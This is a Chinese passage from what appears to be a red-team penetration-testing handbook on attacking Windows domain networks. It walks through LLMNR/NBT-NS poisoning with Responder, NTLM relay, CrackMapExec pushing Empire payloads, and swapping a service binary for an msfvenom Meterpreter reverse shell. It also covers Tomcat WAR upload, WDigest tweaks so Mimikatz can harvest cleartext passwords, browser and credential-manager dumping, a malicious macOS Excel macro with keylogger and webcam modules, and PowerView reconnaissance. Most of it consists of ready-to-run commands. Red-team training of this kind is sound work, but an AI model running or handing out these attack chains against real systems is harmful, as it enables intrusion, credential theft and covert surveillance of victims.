就像在上一个活动中一样，我们使用 [Responder](https://github.com/lgandx/Responder) 在网络上侦听并伪造请求以获得网络上的凭据。回顾一下上本书，当网络上的系统执行查找 DNS 主机名失败时，受害者系统就会使用 Link-Local Multicast Name Resolution（简称 LLMNR）和 Net-BIOS Name Service（NBT-NS）进行回退 DNS 名称解析。当受害者的电脑无法进行 DNS 查找时，他就会开始询问网络上的任何人是否知道该主机名的解析方法。
一个简单而通用的例子：假设你电脑里有一个固定的共享硬盘驱动器目录，为：\cyberspacekittenssecretdrive\secrets。有一天，IT 部门从网络中删除了共享驱动器，它就不存在了。但由于名为 cyberspacekittenssecretdrive 的服务器仍然有一个挂载的驱动器，因此系统将不断询问网络是否有人知道此驱动器并回应它的 IP。虽然现在这种文件共享示例可能很少见，但是，由于以前连接的系统很可能不再存在于网络上，所以这个问题仍然会发生。我们已经从已挂载的驱动器、具有硬编码服务器的应用程序以及许多次的错误配置中看到了这一点。
我们可以使用像 Responder 这样的工具来利用那些寻找有主机名的系统，并使用我们的攻击服务器对其进行响应。更好的是，Responder 可以更进一步，充当 WPAD（Web Proxy Auto-Discovery Protocol，Web 代理自动发现协议）服务器，通过我们的攻击者服务器代理所有数据，但这是另一种攻击了。
- cd /opt/Responder
- ./Responder.py -I eth0 –wrf
现在，因为我们处于 Windows 的企业环境中，我们可以假设它很可能正在运行 Active Directory（活动目录）。因此，如果我们能够响应来自受害者主机的 DNS 查找请求，我们就可以使他们的系统连接到我们的 SMB 共享服务。由于它们正在连接到 \cyberspacekittenssecretdrive 驱动器，因此我们将强制受害者使用他的 NTLMv2 凭证（或缓存的凭证）进行身份验证。我们捕获的这些凭证不是直接的 NTLM 哈希，而是 NTLM 请求/响应哈希（NTLMv2-SSP）。这些哈希表的唯一缺点是，破解它们的速度要比普通的 NTLM 哈希表要慢得多，但是相比于我们要进行的大型凭证爆破动作来说，这不是一个大麻烦。
我们可以获取 NTLMv2哈希，将其传递给本地的 hashcat 程序破解此密码。在 hashcat 中，我们需要指定散列格式 “-m”（ https://hashcat.net/wiki/doku.php?id=example_hashes ）为 Net-NTLMv2 。
- hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*
现在，假设我们并不是真的想破解哈希，或者我们不介意提醒用户有一些值得可疑的地方。我们所能做的是强制一个基本身份验证弹出窗口，而不是采用 `-F`（ForceWpadAuth）和 `-b`（basic auth）的要求使用 Net-NTLMv2凭据。
- python ./Responder.py -I eth0 -wfFbv
从上面的图像中可以看到，用户将被提示输入用户名和密码，大多数人只是按部就班的按提示输入。一旦他们提交了他们的用户名和密码，我们将能够捕获他们的密码明文!
### 更好的 Responder（MultiRelay.py）
使用 Responder 和破解 NTLMv2-SSP 哈希的问题是，破解这些哈希所需的时间可能很长。更糟糕的是，我们所处的环境中的管理员的密码可能是20多个的字符。那么，在这些情况下我们能做什么呢？如果所处环境不强制执行 SMB 签名（ 我们可以通过快速的 nmap 脚本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ），我们可以使用一个巧妙的小技巧来重新播放捕获的 SMB 请求。
Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的工具。根据 Laurent 的网站描述，MultiRelay 是一个强大的渗透测试实用程序，包含在响应程序工具的文件夹中，使你能够在选定的目标上执行目标 NTLMv1 和 NTLMv2 中继器。目前已经实现多中继将 HTTP、WebDav、代理和 SMB 身份验证传递给 SMB 服务器。这个工具可以定制为接受一系列用户账户信息来中继到一个目标。这背后的概念是只针对域管理员、本地管理员或特权帐户。”[http://g-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html]
从较高的层面来看，MultiRelay 不会强制受害者对我们的 SMB 共享进行身份验证，而是将任何含有身份验证的请求转发给我们选择的受害者主机。当然，中继用户需要有另一台机器的访问权限；如果攻击成功，我们不需要处理任何密码和哈希破解。首先，我们需要配置我们的 Responder 和 MultiRelay：
- 编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器
- 编辑 Responder.conf
- 将 SMB 和 HTTP 更改为 Off
- 开始 Responder
- python ./Responder.py -I eth0 -rv
- 在一个新的终端窗口中启动多中继
- /opt/Responder/tools
- ./MultiRelay.py -t <target host> -c <shell command> -u ALL
一旦可以实现通过中继连接到受害者主机，我们就需要考虑要在受害者的主机上执行什么操作。默认情况下，MultiRelay 可以生成一个比较基础的 shell，但我们也可以自动执行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 脚本（用于下载和执行 C2代理)、Mimikatz，或者只是运行 calc.exe 作为测试娱乐。
参考文献
- http://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/
### PowerShell Responder
一旦我们攻击进了 Windows 系统，我们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。原始 Responder 的两个功能都可以通过以下两个工具执行：
- Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1
- Inveigh-Relay
更简单的是，这一切都已经集成在 Empire 中了。
## 没有凭据的用户枚举
一旦进入了内网中，我们可以使用 Responder 来获得凭证或 shell，但有时也会发现同时启用 SMB 签名和破解 NTLMv2 SSP 是没有实质进展的。那就是我们退一步，从更基础的开始。在不主动扫描网络的情况下，我们需要获得一个用户列表（可能是用于密码爆破，甚至是内网钓鱼）。
一种选择是开始针对域控制器枚举用户。如果是早些时候（回到2003年），我们可以尝试执行 RID 循环来获得所有用户帐户的列表。虽然现在不可用了，但爆破帐户还有其他选择。一种选择就是利用 Kerberos：
- nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt <Domain Controller IP>
我们将需要提供一个要测试的用户名列表，但是由于我们只是查询 DC（域控制器）而没有对其进行身份验证，因此通常此行动不会被检测。现在，我们可以采用这些用户帐户，并再次开始密码猜解!
## 使用 CrackMapExec（CME）扫描网络
如果我们还没有成功入侵进一个系统，但是我们确实通过 Responder、错误配置的 Web 应用程序、暴力破解或通过打印机获得了登录凭证，那么我们可以尝试扫描网络，看看这个帐户可以登录到哪里。使用像 CrackMapExec（CME）这样的工具进行简单的扫描可以帮助找到内部网络上的初始入口点。
过去，我们使用 CME 扫描网络、通过网络上的 SMB 进行标识/身份验证、对许多主机远程执行命令，甚至通过 Mimikatz 提取明文凭证。Empire 和 CME 都拥有了一些新特性，我们可以利用 Empire 的 REST 特性。在下面的场景中，我们将使用其 REST API 启动 Empire，在 CME 中配置密码，让 CME 连接到 Empire，使用我们拥有的单一凭证扫描网络，最后，如果成功完成身份验证，则自动将 Empire 的 payload 推送到远程受害者的系统。如果你有一个 helpdesk 或高权限帐户，那就准备好加载 Empire shell 吧！
- 启动 Empire 的 REST API 服务器
- cd /opt/Empire
- ./empire --rest --password ‘hacktheuniverse’
- 更改 CrackMapExec 密码
- 打开 /root/.cme/cme.conf
- password=hacktheuniverse
- 运行 CME 来生成 Empire shells
- cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘<username>’ -p ‘<password>’ -M empire_exec -o LISTENER=http
## 在攻陷你的第一台机器之后
当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击获得对主机的访问权限后，下一步要做什么？这是一个非常重要的问题。
在过去，你需要做的一切，是了解你身在何处和周边的网络环境。我们可能首先运行类似于“netstat -ano”的命令来查找受害者的服务器、域和用户的 IP 范围的位置。我们还可以运行命令，如 `ps` 或 `sc queryex type= service state= all | find “_NAME”` 列出所有正在运行的服务，并寻找杀毒软件或其他主机基础保护。下面是一些我们最初可能运行的其他示例命令：
网络信息:
- netstat -anop | findstr LISTEN
- net group “Domain Admins” /domain
流程列表:
- tasklist /v
系统主机信息:
- sysinfo
- Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt
- wmic qfe get Caption，Description，HotFixID，InstalledOn
简单的文件搜索:
- dir /s *password*
- findstr /s /n /i /p foo *
- findstr /si pass *.txt | *.xml | *.ini
来自共享/挂载驱动器的信息:
- powershell -Command “get-WmiObject -class Win32_Share”
- powershell -Command “get-PSDrive”
- powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name， ProviderName”
让我们现实一点，没有人有时间记住所有的命令，但是我们很幸运！我相信，我相信我们可以在一个名为 [RTFM.py](https://github.com/leostat/rtfm) 的工具中轻松搜索到这些命令，这是 [@leostat](https://github.com/leostat) 基于 RTFM 书籍(很棒的资源)创建的一个快速查询的 Python 脚本，其中包含大量这些方便的命令。
- 更新并运行 RTFM
- cd /opt/rtfm
- chmod +x rtfm.py
- ./rtfm.py -u
- ./rtfm.py -c ‘rtfm’
- 搜索所有标签
- ./rtfm.py -Dt
- 查看每个标记的所有查询/命令。我喜欢用的一个是枚举类
- ./rtfm.py -t enumeration | more
现在，RTFM 非常广泛，有许多不同的有用命令。这是一个不断快速更新的优秀的资源。
这些都是我们为了获取信息而一直在做的事情，但是如果我们能从环境中获得更多呢？使用 PowerShell，我们可以获得所需的网络和环境信息。任何支持 C2 的工具都能轻松执行 PowerShell ，因此可以使用 Empire、Metasploit 或 Cobalt Strike 来执行这些操作。在下面的例子中，我们将使用 Empire ，你也可以尝试其他工具。
## 权限提升
从普通用户到高权限帐户有很多不同的方式。
未被引用服务路径:
- 这是一个相当简单和常见的漏洞，其中服务可执行路径没有被引号括起来。这是很容易被利用的，因为如果路径周围没有引号，我们就会利用当前服务。假设我们有一个服务被配置为执行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果我们有 CK 文件夹的写入权限，我们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe（注意，原名称中的 Kittens.exe 消失了）的恶意软件。如果服务在系统上运行，我们可以等到服务重新启动，并让我们的恶意软件作为一个 `system` 帐户运行。
- 如何找到易受攻击的服务路径:
- 通过 wmic 服务获取名称、注意 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" | findstr /i /v """
- 寻找 BINARY_PATH_NAME
查找服务中存在的不安全的注册表权限:
- 识别允许更新服务映像路径位置的弱权限账户
检查 AlwaysInstallElevated 注册表项是否已启用：
- 检查 AlwaysInstallElevated 注册表项，该注册表项指示.msi 文件应以较高的权限 ( NT AUTHORITY\SYSTEM ) 安装
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb
请注意，我们并不需要手动完成这些操作，因为别人已经创建了一些好的 metasploit 和 PowerShell 模块，特别是针对 Windows 的模块。在下面的示例中，我们将查看 [PowerUp PowerShell 脚本](https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/PowerUp.ps1)。在这种情况下，脚本与 Empire 一起在所有常见的错误配置区域运行查找，比如允许普通用户获得本地管理或系统帐户。在下面的示例中，我们在受害者系统上运行这个程序，发现它有一些本地系统的未引用服务路径。现在，我们可能无法重新启动服务，但我们应该能够利用这个漏洞，等待服务重启。
- Empire PowerUp 模块:
- usermodule privesc/powerup/allchecks
最突出的是:
- ServiceName： WavesSysSvc
- Path： C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
- ModifiableFile： C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
- ModifiableFilePermissions： {WriteOwner, Delete, WriteAttributes, Synchronize…}
- **ModifiableFileIdentityReference： Everyone**
- StartName： LocalSystem
看起来任何人都可以编写 WavesSysSyc 服务。这意味着我们可以将 WaveSysSvc64.exe 文件替换为我们自己的恶意二进制文件:
- 创建一个 Meterpreter 二进制文件（后续的文章将讨论如何绕过杀毒软件）
- msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe
- 使用 Empire 上传二进制文件并替换原始二进制文件
- upload ./shell.exe C:\users\test\shell.exe
- shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe”
- 重新启动服务或等待其重启
一旦服务重新启动，你你应该会收到一个升级为 `system` 权限的 Meterpreter shell 。使用 `PowerUp` powershell 脚本，你将发现许多不同的服务都会有权限提升的可能性。如果你想深入了解 Windows 权限提升的底层问题，请查看 FuzzSecurity 的文章：http://www.fuzzysecurity.com/tutorials/16.html 。
对于未打补丁的 Windows 系统，我们确实有一些权限升级攻击，比如：（ https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 ）和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ），但是我们如何快速识别目标系统上安装了哪些补丁呢，我们可以在受害者系统上使用系统默认自带的命令来查看安装了哪些系统补丁包。Windows 自带默认命令`systeminfo` 将提取任何给定的 Windows 主机的所有补丁安装历史记录。我们可以拿回这个输出结果，将其复制到我们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的漏洞然后针对性的进行漏洞利用从而提升权限。
回到你攻击的 Windows 10系统：
- systeminfo
- systeminfo > windows.txt
- 将 windows.txt 复制到你的 Kali 虚拟机的 /opt/Windows-Exploit-Suggester 下
- python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls
这个工具已经有一段时间没有被维护了，但是你还是可以轻松地从中寻找到你正需要的能权限提升的漏洞。
如果我们处在一个已经打好所有补丁的 Windows 主机环境中，我们将重点关注第三方软件中的不同权限提升漏洞或操作系统的任何 0day 漏洞。例如，我们一直在寻找下面这样的漏洞 http://bit.ly/2HnX5id ，这是 Windows 中的权限升级漏洞，现在还没有修补。通常在这些场景中，可能会有一些基本的 POC 代码，但是我们需要测试、验证并多次复现这个漏洞。我们经常监控某些领域存在公共特权升级的漏洞：
- http://insecure.org/search.html?q=privilege%20escalation
- https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids
通常，这只是时间问题。例如，当发现漏洞时，这可能是你在系统打好补丁之前进一步破坏系统有限的好机会。
### 权限提升实验
测试并尝试不同类型的权限升级漏洞的最佳实验环境是 Rapid7的 [Metasploitable3](https://github.com/rapid7/metasploitable3)。这个充满漏洞的框架会自动生成一个 Windows 虚拟机，其中包含所有常见的和不常见的漏洞。配置需要一点时间，但是一旦配置好了虚拟机，它就是一个非常棒的实验环境。
让我们来看一个简单的例子，然后快速开始：
- 使用 nmap 扫描 Metasploitable3 虚拟机的IP ( 确保全端口扫描免得你错过一些端口 )
- 你将看到 ManageEngine 在端口8383上运行
- 启动 Metasploit 并搜索任何 ManageEngine 有关的漏洞
- msfconsole
- search manageengine
- use exploit/windows/http/manageengine_connectionid_write
- set SSL True
- set RPORT 8383
- set RHOST < Your IP>
- exploit
- getsystem
- 你会注意到你不能获得 `system` 权限，因为你所利用的服务未作为特权进程运行。这时，你能做到的就是尝试所有不同的权限提升攻击。
- 其中，我们看到的一件事是，Apache Tomcat 是作为特权进程运行的。如果我们可以利用这个服务，我们就可以将我们的 payload 作为更高层次的服务运行。我们看到 Apache Tomcat 在外部网络的8282端口运行，但它需要用户名和密码。因为我们有一个本地低权限的 shell，我们可以尝试在磁盘上搜索这个密码。我们可以在谷歌搜索“Tomcat密码存储在哪里”，搜索结果表明：“tomcat-users.xml”。
- 在受害者机器中，我们可以搜索和读取 tomcat-users.xml 文件:
- shell
- cd \ && dir /s tomcat-users.xml
- type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml
- 现在让我们使用找到的密码攻击 Tomcat。首先，登录到8282端口上的 Tomcat 管理控制台，并查看我们的密码是否有效。然后，我们可以使用 Metasploit 通过 Tomcat 部署恶意的 WAR 文件。
- search tomcat
- use exploit/multi/http/tomcat_mgr_upload
- show options
- set HTTPusername sploit
- set HTTPpassword sploit
- set RPORT 8282
- set RHOST < Metasploitable3_IP>
- set Payload java/shell_reverse_tcp
- set LHOST < Your IP>
- exploit
- whoami
- 你现在应该是 `system` 权限了。我们利用第三方的工具（tomcat）来提升权限到 `system` 权限。
### 从内存中提取明文凭据
[Mimikatz](https://github.com/gentilkiwi/mimikatz) 自推出以来，就改变了在渗透入侵中获取明文密码的方式。在 Windows 10之前，以本地管理员的身份在主机系统上运行 Mimikatz 的话是允许攻击者从 lsass（本地安全机构子系统服务）中提取明文密码的。这种方法在 Windows 10 出现之前非常有效，而在 windows 10 中，即使你是本地管理员，也无法直接读取它。现在，我看到了一些奇怪的现象，其中单点登录（ SSO ）或者一些特殊的软件会把密码保存在 LSASS 进程中让 Mimikatz 读取，但是我们现在先忽略这个。在这一章中，我们将讨论当这件方法（指 SSO 和特殊的软件）不工作时该做什么（比如在 Windows 10系统中）。
假设你攻击了 Windows 10系统的主机并且提升权限了，默认情况下，你将调整 Mimikatz 的配置，并根据下面的查询查看到密码字段为空。
那么你能做什么呢？最简单的选项是设置注册表项以让系统将密码凭证保存到 LSASS 进程。在 HKLM 中，有一个 UseLogonCredential 设置，如果设置为0，系统将在内存中存储凭据（ http://bit.ly/2vhFBiZ ）：
- reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
- 在 Empire 中，我们可以通过 shell 命令运行：
- shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
这个注册表修改的问题就是需要用户重新登录到系统。你可以让目标机器屏幕锁屏、重新启动或注销用户，以便你能够捕获然后再次发送凭证文本。最简单的方法是锁定他们的工作机器（这样他们就不会丢失他们的当前的工作...看看我有多好！）。要触发锁屏：
- rundll32.exe user32.dll，LockWorkStation
一旦我们锁定屏幕，并让它们重新登录，我们就可以重新运行 Mimikatz 来获得明文密码。
如果我们无法提升到本地管理帐户怎么办？我们还有哪些其他方法可以获得用户的凭证？在过去，一个常见的渗透攻击是在客户机的用户空间内存中查看凭据是否以明文形式存储。现在一切都是基于浏览器的，我们能在浏览器中做同样的事情吗？
在这里，putterpanda 将和一个很酷的 POC 工具在一起来完成这个任务，称为 [Mimikittenz](https://github.com/putterpanda/mimikittenz)。Mimikittenz 所做的就是利用 Windows 函数 ReadProcessMemory()来提取来自各种目标进程（如浏览器）的密码，并输出纯文本。
Mimikitten 支持 Gmail，Office365，Outlook Web，Jira，Github，Bugzilla，Zendesk，Cpanel，Dropbox，Microsoft OneDrive，AWS Web 服务、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索表达式也很容易。
这个工具最好的地方在于它不需要本地管理员权限，因为他只需要访问那些用户本身创建的进程。一旦我们攻击进了主机，我们将把 Mimimikittenz 导入内存，并运行 Invoke-mimikittenz 脚本。
正如上面所看到的，用户通过 Firefox 登录到 Github 中，我们可以从浏览器内存中提取他们的用户名和密码。现在，我希望这本书的读者都能把这个工具用的越来越高级，为不同的应用程序创建更多的搜索查询。
### 从 Windows 凭据管理器和浏览器获取密码
Windows 凭据管理器是 Windows 的默认功能，用于保存系统、网站和服务器的用户名、密码和证书。记不记得当你使用 Microsoft IE/EDGE 对网站进行身份验证后，通常会弹出一个弹出窗口，询问“是否要保存密码？”凭证存储就是存储这些信息的地方，在凭据管理器中，有两种类型的凭据：Web 和 Windows。你还记得哪个用户有权访问这些数据吗？它不是 `system`，而是登录后可以检索此信息的用户。这对我们来说是很好的，就像任何钓鱼网站或代码执行一样，我们通常都可以用别的方法获得那个用户的权限。最好的一点是，我们甚至不需要成为本地管理员来提取这些数据。
如何提取这些信息呢？我们可以使用两种不同的 PowerShell 脚本导入以收集此数据：
- 收集网络凭据：
- https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
- 收集 Windows 凭证（只收集通用的而不是目标域特有的）：
- https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1
从上图中可以看到，我们提取了他们的 Facebook 存储的凭证和任何他们拥有通用的凭证。记住，对于 Web 凭据，Get-WebCredentials 只能从 Internet Explorer/Edge 获取密码。如果我们需要从 Chrome 获取，我们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前，要运行 ChromeDump 的话，首先需要终止 Chrome 进程，然后运行 ChromeDump，最后，我喜欢拉取下载所有的浏览器历史和 cookies。 我们不仅可以了解他们的内部服务器的大量信息，而且，如果他们的会话仍然存在，我们也可以使用他们的 cookies 和身份验证，而不必知道他们的密码!
使用如下 PowerShell 脚本：https://github.com/sekirkity/browsergather ，我们可以提取所有浏览器 cookies，并通过我们的浏览器利用这些 cookies，但是所有这些 cookies 都没有提升权限的功能。
接下来，我们甚至可以开始在受害者系统上可能安装的所有第三方软件中寻找服务器和凭证。一个叫做 [SessionGopher](https://github.com/fireeye/SessionGopher) 的工具可以从 winscp、putty、superputty、filezilla 和 microsoft 远程桌面获取主机名和保存密码。还有一个其他功能是能够从网络上的其他系统远程获取它的本地凭据，启动 sessiongopher 的最简单方法是导入 PowerShell 脚本并执行使用：
- Load PowerShell File:
- . .\SessionGopher.ps1
- Execute SessionGopher
- Invoke-SessionGopher -Thorough
我们可以通过以下几种方式从主机系统获取凭证，而无需提升权限、绕过 UAC 或使用键盘记录器。因为我们是在用户的系统会话中，所以我们可以访问主机上的许多资源，以帮助我们继续攻击。
### 从 OSX 获取本地凭证和信息
本书内的大部分横向运动集中在 Windows 上。这是因为几乎所有中大型环境都使用 Active Directory 来管理其系统和主机。我们每年都能看到越来越多的 Mac 电脑，所以希望本书的内容也稍带提及一下 MAC。一旦进入一个 MAC 主机的内网环境，许多攻击就类似于在 Windows 主机环境中的攻击（即扫描默认凭据、Jenkin 等应用程序攻击，嗅探网络，并通过 SSH 或 VNC 横向移动）。
有多个渗透攻击框架的 payload 支持 Mac，我最喜欢的是使用 Empire。Empire 可以生成多个 payload 来诱骗受害者执行我们的代理，其中包括 Ducky scripts、二进制可执行程序、Office 宏、Safari 启动程序、pkg 安装包等等。例如，我们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏：
1. 打开 Empire
2. 首先，确保你能像我们在本书的开头所做的那样设置你的 Empire 监听器
3. 接下来，我们需要构建一个 OSX 宏的 payload
```shell
use Stager osx/macro
```
4. 设置要写入本地文件系统的输出文件
```shell
set outfile/tmp/mac.py
```
5. 生成 Payload
如果你查看生成的 Office 宏，你将看到它只是由 Python 执行的 Base64代码。幸运的是，Python 是 Mac 上的默认应用程序，当执行这个宏时，我们应该得到 `agent beacon`。
要在 Mac 中创建恶意 Exce l文件，我们可以打开一个新的 Excel 工作表，转到“工具”，查看宏，然后在此工作簿中创建宏，一旦 Microsoft Visual Basic 打开，就删除所有当前代码并将其替换为所有新的宏代码。最后，将其保存为 XLSM 文件。
现在，把你的恶意文件发送给你的目标攻击者，看着 Empire 大展神威。在受害者那边，一旦他们打开 Excel 文件，就会出现这样的情况：
确保创建了一个合理的情形，让他们单击“启用宏”。
一旦你的代理连接回你的 Empire 服务器，接下来的操作和侦察阶段就非常相似了。我们需要：
1. 转储浏览器信息和密码：
```
usemodule collection/osx/browser_dump
```
2. 启用键盘记录器：
```
usemodule collection/osx/keylogger
```
3. 让应用程序提示获取密码：
```
usemodule collection/osx/prompt
```
4. 始终打开电脑摄像头拍照：
```
usemodule collection/osx/webcam
```
## 利用 Windows 域环境的本地应用程序进行攻击
同样，在下面的示例中，我们将使用 PowerShell Empire。当然，你还可以使用 Metasploit、Cobalt Strike 等类似的攻击框架进行相同的攻击。只要你有能力将 PowerShell 脚本导入内存，并且能够绕过主机系统的任何防护，用什么其实并不重要。
现在的你已经完全空置了受害者的主机，从他们的工作主机偷走了所有的秘密，还了解一些受害者浏览的网站，并运行了一些类似 netstat 的命令进行侦察工作...那接下来是什么?
对于红队队员来说，真正的问题是找到有关服务器、工作站、用户、服务以及他们的 Active Directory 环境的可靠信息。在许多情况下，由于受到网络警报和被抓获的风险，我们无法运行任何漏洞扫描操作，甚至无法运行 NMAP 扫描。那么，我们如何利用网络和服务的“特性”来查找我们需要的所有信息？
### Service Principal Names（服务主体名称）
服务主体名称（即 SPN）是 Windows 中的一项功能，它允许客户端能够唯一地标识服务的实例。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。例如，你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务的 SPN。对于攻击者来说，查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web 服务器！
作为一个攻击者，我们可以利用这些“特性”来查询 Active Directory。在任何已经加入域的计算机上，攻击者都可以运行 setspn.exe 文件来查询 Active Directory（AD）。此文件是所有 Windows 机器默认自带的 Windows 二进制文件。
- setspn -T [DOMAIN] -F -Q */*
- 功能
- -T = 对指定域执行查询
- -F = 在 AD 环境而不是域级别环境执行查询
- -Q = 在每个目标域或林环境上执行
- */* = 显示所有
我们可以从 setspn 中看到什么类型的信息？下面，运行 setspn 命令，我们会看到一些在域控制器上运行的服务的信息，还有关于工作站的信息，我们还找到了一个名为 csk-github 的服务器。在这个服务器中，我们可以看到在主机上运行着一个 HTTP 服务。如果这些相同的协议运行在不同的端口上的话，这些信息也会被列出。
setspn 不仅提供有关服务用户和所有主机名的有用信息，它甚至也会告诉我们哪些服务正在系统上什么端口上运行。如果我们可以直接从 AD 中获取服务甚至端口的大部分信息，那为什么我们还需要扫描网络？我们可能马上攻击的东西是什么？Jenkins？ Tomcat？ ColdFusion？
### 查询 Active Directory
我不知道曾经有多少次，好不容易找到了一个域用户帐户和密码，却被告知它只是一个没有其他特权的域用户帐户，但不用担心。我们通常可以在打印机，共享信息工作站，带有服务密码的文本文件，配置文件、iPad、包含密码的 Web 应用程序的页面源代码中中找到这些类型的帐户，但是，对于这些没有其他组成员资格的基本域用户帐户，你可以用来做什么？
**获取有关 AD 中用户的详细信息**
我们可以使用 @harmj0y 创建的名为 [PowerView](http://bit.ly/2JKTg5d) 的工具来帮我们完成所有的复杂的查询操作。PowerView 是一个 PowerShell 脚本，用于在 Windows 域上获得网络拓扑信息。它包含一组纯 PowerShell 命令替换项，用于各种 Windows 系统中的 `net` 命令，这些命令使用 PowerShell AD hooks 和基础的 Win32 API 函数来执行有用的 Windows 域功能[http://bit.ly/2r9lYnH] 。作为攻击者，我们可以使用 AD 中低权限用户`普通的域用户`来利用 PowerView 和 PowerShell 查询 AD（活动目录），甚至不需要本地管理员权限。
让我们通过一个例子来说明我们可以从这个低权限用户那里获得多少数据。在一开始，我们已经在运行 Empire（你可以在 Metasploit、Cobalt Strike 或类似软件都可以），并在受害者系统上执行了 payload。如果你以前从未建立过 Empire，请查看有关建立 Empire 和 Empire payload 的设置章节。一旦我们的代理（agent）与我们的命令和控制服务器通信，我们就可以键入 `info` 以查找有关受害者的信息。在本例中，我们已经攻陷了运行完整补丁的 Windows 10系统的主机，该系统的用户名为 neil.pawstrong，位于 CyberspaceKitten 的域中。
接下来，我们希望在不引起太多怀疑和注意的情况下从域中查询信息，我们可以使用 Empire 内部的 PowerView 工具来获取信息。PowerView 查询域控制器（DC）以获取有关用户、用户组、计算机等的信息。我们此次使用 PowerView 将只用来查询域控制器，并且使它看起来像正常通信。
Empire 下有哪些模块可用于信息收集呢？
我们可以从 PowerView 脚本的 get_user 的函数名开始。获取指定域中指定查询用户的信息。通过使用默认设置，我们可以获取有关 AD 中用户的所有信息以及相关信息的转储。
```
Module: situational_awareness/network/powerview/get_user
```
在上面的转储文件中，我们可以看到关于其中一个用户 `purri gagarin` 的信息。我们得到了什么类型的信息？我们可以看到他们的 sAMAccountName 或用户名，当他们的密码被更改时，看到他们的对象类别是什么，他们是什么权限组的成员，最后登录的时间是什么，等等。使用这个基本的用户转储，我们可以从目录服务中获得大量的信息。我们还能得到什么样的信息呢？
```
Module: situational_awareness/network/powerview/get_group_member
```
get-group-member 返回给特定组的成员，并选择“recurse”以查找所有有效的组内成员。我们可以使用 AD 来查找特定组的特定用户。例如，使用以下 Empire 的设置，我们可以搜索属于域管理组的所有域管理员和组：
- info
- set Identity “Domain Admins”
- set Recurse True
- set FullData True
- execute
现在，我们有一个用户、组、服务器和服务的收集列表。这将帮助我们了解哪些用户拥有哪些特权。但是，我们仍然需要有关工作站和系统的详细信息。这可能包括版本、创建日期、用途、主机名等。我们可以用一个叫做 get_computer 的模块来获得这些信息。
```
Module: situational_awareness/network/powerview/get_computer
```
描述：get_computer 模块可以查询域中当前的计算机对象。
get_computer 查询域控制器可以获得什么信息呢？好吧，我们看到我们可以获得关于机器的信息，比如当它被创建时的 DNS 主机名，自定义名称等等。作为攻击者，最有用的侦察细节之一是获取操作系统类型和操作系统版本。在这种情况下，我们可以看到这个系统是 Windows 10 Build 16299版本。我们可以通过获取这些信息，了解操作系统的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁：https://technet.microsoft.com/en-us/windows/release-info.aspx 。
### Bloodhound/Sharphound
我们如何利用在侦察阶段收集的所有信息来创建一条攻击线路呢？我们如何能够轻松、快速地得知谁有权限去调用那些功能？回想一下，我们总是试图直接攻击，让一切都达到我们想要的目的，但这总是会增加被抓住的可能性。
Andrew Robbins，Rohan Vazarkar 和 Will Schroeder 已经创造了一种最好的工具，那就是 Bloodhound/Sharphound。在他们的 Github 页面上显示。“Bloodhound/Sharphound 使用图表理论来揭示 Active Directory 环境中隐藏的、出乎意料的关系。攻击者红队可以使用 Bloodhound 轻松识别高度复杂的攻击路径，否则的话将无法快速识别。防御者蓝队可以使用 Sharphound 来识别和消除对应的的攻击路径。”[https://github.com/BloodHoundAD/BloodHound] 。
